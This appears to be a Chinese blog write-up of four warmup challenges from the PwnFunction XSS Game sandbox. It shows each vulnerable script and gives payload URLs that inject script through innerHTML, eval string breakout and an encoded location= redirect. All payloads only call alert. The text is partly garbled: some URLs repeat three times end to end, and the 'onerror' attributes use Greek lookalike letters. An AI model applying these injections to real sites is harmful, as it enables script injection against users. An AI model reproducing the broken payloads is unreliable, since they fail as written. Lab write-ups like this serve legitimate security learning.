当前位置: 首页 > news >正文

xss-靶场

一、环境地址

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

二、案例复现

案列1——Ma Spaghet!

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

这个脚本的功能是将页面中 ID 为 spaghet<h2> 元素的 innerHTML 设置为一个字符串,该字符串由 URL 查询参数 somebody 的值和文本 "Toucha Ma Spaghet!" 组合而成。如果 somebody 参数不存在,则使用默认值 "Somebody"。具体来说:

  1. new URL(location).searchParams.get('somebody'):获取 URL 查询参数 somebody 的值。
  2. || "Somebody":如果没有该查询参数,则使用默认值 "Somebody"。
  3. spaghet.innerHTML = ...:将拼接后的字符串赋值给 <h2> 元素的 innerHTML 属性。

element.innerHTML - Web API | MDN (mozilla.org)

解法

所以这道题的解法就很明了了,原因由上所说

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 οnerrοr="alert(1337)">

本题应注意innerHTNL与innerText的区别

案例2——Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

这个脚本的作用是将页面中 ID 为 maname 的 <h2> 元素的文本设置为 "Ma name " 后跟 URL 查询参数 jeff 的值,或者在没有该参数时使用默认值 "JEFFF"。具体步骤如下:

    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF"):获取查询参数 jeff 的值,若不存在则使用默认值 "JEFFF"。
    eval(ma = "Ma name ${jeff}"):使用 eval 动态创建字符串 "Ma name ${jeff}" 并将其赋值给变量 ma。
    setTimeout(_ => { maname.innerText = ma }, 1000):在 1000 毫秒(1秒)后将 ma 的值设置为 <h2> 元素的文本内容,只执行一次

解法1

用分号;分割

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"

解法2

用js中的特殊连接符(-)

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"

案例3——Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这个脚本的作用是将页面中 ID 为 uganda<div> 元素的内容设置为一个 <input> 元素。具体步骤如下:

  1. let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?"):获取 URL 查询参数 wey 的值,如果没有则使用默认值 "do you know da wey?"
  2. wey = wey.replace(/[<>]/g, ''):从 wey 字符串中移除所有 <> 字符,以防止潜在的 HTML 注入。
  3. uganda.innerHTML = <input type="text" placeholder="${wey}" class="form-control">``:将 div 元素的 innerHTML 设置为一个 <input> 元素,其 placeholder 属性的值为处理后的 wey

解法

这道题的解法在于input的onfocus与autofocus属性(作用是聚焦,不过一个是手动对焦,一个是自动对焦)

案例4——Ah That's Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

这个脚本的作用是将页面中 ID 为 will 的 <h2> 元素的 innerHTML 设置为一个处理过的字符串。具体步骤如下:

    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt"):
        从 URL 查询参数 markassbrownlee 中获取值。如果该参数不存在,则使用默认值 "Ah That's Hawt"。

    smith = smith.replace(/[\(\)\]/g, '')`:
        使用正则表达式从字符串 smith 中移除所有的 (、`、)、\ 字符(注,这里的符号我用逗号分隔的注意分辨)。这一步主要是为了清理字符串,以防止潜在的 HTML 注入或其他不安全字符。

    will.innerHTML = smith:
        将处理后的字符串 smith 赋值给 <h2> 元素的 innerHTML 属性。这将更新该 <h2> 元素的内容为 smith 的值。

解法

这道题过滤括号,反引号,反斜杠,采取location和编码绕过,%25url编码为%,%28编码为(,剩下的同理

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 基于协同过滤算法的体育商品推荐系统_t81xg
  • 气膜游泳馆:夏日避暑的绝佳选择—轻空间
  • Perl(Practical Extraction and Reporting Language)脚本
  • 自主身份:Web3如何重新定义个人数据所有权
  • 基于 Spring Boot 的快速开发微信公众平台的框架-FastBootWeixin框架
  • RabbitMQ-消息队列之topic使用
  • Linux目录结构及基础查看命令和命令模式
  • EmguCV学习笔记 VB.Net 4.5 像素距离和连通区域
  • ECCV2024|商汤发布3D面部动画系统UniTalker:通过统一模型扩展音频驱动的 3D 面部动画
  • Verilog刷题笔记55
  • 第4章 汇编语言和汇编软件
  • MySQL索引的性能优化
  • ES6-ES13学习笔记
  • 【机器学习】逻辑回归原理(极大似然估计,逻辑函数Sigmod函数模型详解!!!)
  • 【docker】使用docker-compose的时候如何更新镜像版本
  • 【css3】浏览器内核及其兼容性
  • DOM的那些事
  • eclipse的离线汉化
  • leetcode-27. Remove Element
  • Protobuf3语言指南
  • Vue 重置组件到初始状态
  • windows下使用nginx调试简介
  • 基于 Babel 的 npm 包最小化设置
  • 记一次用 NodeJs 实现模拟登录的思路
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 扑朔迷离的属性和特性【彻底弄清】
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 我的业余项目总结
  • 字符串匹配基础上
  • k8s使用glusterfs实现动态持久化存储
  • 你学不懂C语言,是因为不懂编写C程序的7个步骤 ...
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • ​linux启动进程的方式
  • ​Redis 实现计数器和限速器的
  • # 飞书APP集成平台-数字化落地
  • #QT(一种朴素的计算器实现方法)
  • #周末课堂# 【Linux + JVM + Mysql高级性能优化班】(火热报名中~~~)
  • (2)从源码角度聊聊Jetpack Navigator的工作流程
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第1节 (全局数据、栈和堆)
  • (ZT)一个美国文科博士的YardLife
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (代码示例)使用setTimeout来延迟加载JS脚本文件
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (附源码)ssm高校升本考试管理系统 毕业设计 201631
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (南京观海微电子)——示波器使用介绍
  • (十三)Flink SQL
  • (续)使用Django搭建一个完整的项目(Centos7+Nginx)
  • (一)spring cloud微服务分布式云架构 - Spring Cloud简介
  • (转)详解PHP处理密码的几种方式
  • (转)自己动手搭建Nginx+memcache+xdebug+php运行环境绿色版 For windows版
  • (转载)(官方)UE4--图像编程----着色器开发
  • ***监测系统的构建(chkrootkit )
  • .NET Core 成都线下面基会拉开序幕